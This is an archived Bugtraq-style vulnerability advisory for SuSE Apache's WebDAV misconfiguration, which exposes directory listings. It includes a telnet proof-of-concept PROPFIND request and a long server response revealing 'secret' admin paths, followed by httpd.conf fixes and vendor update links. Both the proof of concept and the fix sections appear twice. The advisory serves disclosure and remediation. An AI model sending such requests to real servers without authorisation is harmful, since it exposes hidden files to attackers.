SuSE Apache WebDAV Directory Listings Vulnerability
BID:1656
Info
SuSE Apache WebDAV Directory Listings Vulnerability
| Bugtraq ID: | 1656 |
| Class: | Configuration Error |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Sep 07 2000 12:00AM |
| Updated: | Sep 07 2000 12:00AM |
| Credit: | This vulnerability was originally submitted to bugtraq by mnemonix ([email protected]) on 7 Sep 2000. |
| Vulnerable: |
SuSE Linux 7.0 SuSE Linux 6.4 ppc SuSE Linux 6.4 alpha SuSE Linux 6.4 SuSE Linux 6.3 ppc SuSE Linux 6.3 alpha SuSE Linux 6.3 SuSE Linux 6.2 SuSE Linux 6.1 alpha SuSE Linux 6.1 SuSE Linux 6.0 Apache Apache 1.3.12 |
| Not Vulnerable: | |
Discussion
SuSE Apache WebDAV Directory Listings Vulnerability
WebDAV (Web Distributed Authoring and Versioning) is an extension of HTTP which allows users to create, edit and share documents using the HTTP protocol. A particular REQUEST METHOD, PROPFIND, allows users to retrieve resource properties such as displayname, date last modified, and others. Apache web server as installed by SuSE 6.4 has WebDAV enabled for the entire file structure of the server. By making a specific, properly structured request to the Apache web server, it is possible to obtain information which is equivalent to a directory listing.
WebDAV (Web Distributed Authoring and Versioning) is an extension of HTTP which allows users to create, edit and share documents using the HTTP protocol. A particular REQUEST METHOD, PROPFIND, allows users to retrieve resource properties such as displayname, date last modified, and others. Apache web server as installed by SuSE 6.4 has WebDAV enabled for the entire file structure of the server. By making a specific, properly structured request to the Apache web server, it is possible to obtain information which is equivalent to a directory listing.
Exploit / POC
SuSE Apache WebDAV Directory Listings Vulnerability
A request of the web server similar to the following will yield directory information:
suse~: # telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
PROPFIND / HTTP/1.1
Host: suse
Content-Type: text/xml
Content-Length: 110
<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:">
<a:prop>
<a:displayname/>
</a:prop>
</a:propfind>
HTTP/1.1 207 Multi-Status
Date: Sun, 20 Aug 2000 17:38:58 GMT
Server: Apache/1.3.12 (Unix) (SuSE/Linux) mod_fastcgi/2.2.2 DAV/0.9.14
mod_perl/1.21 PHP/3.0.15
Transfer-Encoding: chunked
Content-Type: text/xml; charset="utf-8"
dc1
<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response>
<D:href>/secret/secret/sql_tool.shtml</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/change-passwd.shtml</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/add-user.shmtl</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/webalizer/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/test.php3</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/date.php3</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/linbot/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/robots.txt</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/index.html</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/gif/u_arrow.gif</D:href>
<D:propstat>
<D:prop>
</D:prop>
..
- ---cut-----
A request of the web server similar to the following will yield directory information:
suse~: # telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
PROPFIND / HTTP/1.1
Host: suse
Content-Type: text/xml
Content-Length: 110
<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:">
<a:prop>
<a:displayname/>
</a:prop>
</a:propfind>
HTTP/1.1 207 Multi-Status
Date: Sun, 20 Aug 2000 17:38:58 GMT
Server: Apache/1.3.12 (Unix) (SuSE/Linux) mod_fastcgi/2.2.2 DAV/0.9.14
mod_perl/1.21 PHP/3.0.15
Transfer-Encoding: chunked
Content-Type: text/xml; charset="utf-8"
dc1
<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response>
<D:href>/secret/secret/sql_tool.shtml</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/change-passwd.shtml</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/add-user.shmtl</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/webalizer/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/test.php3</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/date.php3</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/linbot/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/robots.txt</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/index.html</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/gif/u_arrow.gif</D:href>
<D:propstat>
<D:prop>
</D:prop>
..
- ---cut-----
Solution / Fix
SuSE Apache WebDAV Directory Listings Vulnerability
Solution:
Add the following entries in httpd.conf for each directory you want open to WebDAV:
<Directory /webdav/directory/goes/here>
#add other directives as needed such as Order allow,deny
<IfDefine DAV>
DAV On
</IfDefine>
</Directory>
Stop and restart Apache.
To completely disable WebDAV, find the following entries in httpd.conf:
<IfDefine DAV>
DAV On
</IfDefine>
and change "On" to "Off".
By default there only "/usr/local/httpd/htdocs" is the only directory with the
IfDefine DAV directive. Other directories with this directive will also need to be changed.
Stop and restart Apache.
To start Apache without the WebDAV module, edit
/etc/rc.d/rc3.d/S20apache and comment out ("#") the following line:
test -e /usr/lib/apache/libdav.so && MODULES="-D DAV $MODULES"
The next time Apache is started, this module will not be included.
SuSE Linux 6.0
SuSE Linux 6.1
SuSE Linux 6.2
SuSE Linux 6.3
SuSE Linux 6.4
SuSE Linux 7.0
Solution:
Add the following entries in httpd.conf for each directory you want open to WebDAV:
<Directory /webdav/directory/goes/here>
#add other directives as needed such as Order allow,deny
<IfDefine DAV>
DAV On
</IfDefine>
</Directory>
Stop and restart Apache.
To completely disable WebDAV, find the following entries in httpd.conf:
<IfDefine DAV>
DAV On
</IfDefine>
and change "On" to "Off".
By default there only "/usr/local/httpd/htdocs" is the only directory with the
IfDefine DAV directive. Other directories with this directive will also need to be changed.
Stop and restart Apache.
To start Apache without the WebDAV module, edit
/etc/rc.d/rc3.d/S20apache and comment out ("#") the following line:
test -e /usr/lib/apache/libdav.so && MODULES="-D DAV $MODULES"
The next time Apache is started, this module will not be included.
SuSE Linux 6.0
-
S.u.S.E. SuSE-6.0 apache-1.3.6-53.i386
Please use the update packages from the 6.1 directory for SuSE-6.0
ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/apache-1.3.6-53.i386.rp m
SuSE Linux 6.1
-
S.u.S.E. SuSE-6.1 apache-1.3.6-43.alpha
ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/apache-1.3.6-43.alpha.rp m -
S.u.S.E. SuSE-6.1 apache-1.3.6-53.i386
ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/apache-1.3.6-53.i386.rp m
SuSE Linux 6.2
-
S.u.S.E. SuSE-6.2 apache-1.3.6-52.i386
ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/apache-1.3.6-52.i386.rp m
SuSE Linux 6.3
-
S.u.S.E. SuSE-6.3 apache-1.3.9-70.alpha
The update packages will be available soon at the usual location ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/ . Until then, please correct the configuration file by hand as described under the solution tab.
ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/ -
S.u.S.E. SuSE-6.3 apache-1.3.9-70.i386
ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/apache-1.3.9-70.i386.rp m -
S.u.S.E. SuSE-6.3 apache-1.3.9-70.ppc
The update packages will be available soon at the usual location ftp://ftp.suse.com/pub/suse/ppc/update/6.3/n1/ . Until then, please correct the configuration file by hand as described in the solution tab.
ftp://ftp.suse.com/pub/suse/ppc/update/6.3/n1/
SuSE Linux 6.4
-
S.u.S.E. SuSE-6.4 apache-1.3.12-107.alpha
The update packages will be available soon at the usual location ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/ . Until then, please correct the configuration file by hand as described under the solution tab.
ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/ -
S.u.S.E. SuSE-6.4 apache-1.3.12-107.i386
ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/apache-1.3.12-107.i386. rpm -
S.u.S.E. SuSE-6.4 apache-1.3.12-108.ppc
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/apache-1.3.12-108.ppc.rp m
SuSE Linux 7.0
-
S.u.S.E. SuSE-7.0 apache-1.3.12-107.i386
ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/apache-1.3.12-107.i386. rpm -
S.u.S.E. SuSE-7.0 apache-1.3.12-109.sparc
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/apache-1.3.12-109.spar c.rpm
References
SuSE Apache WebDAV Directory Listings Vulnerability
References:
References: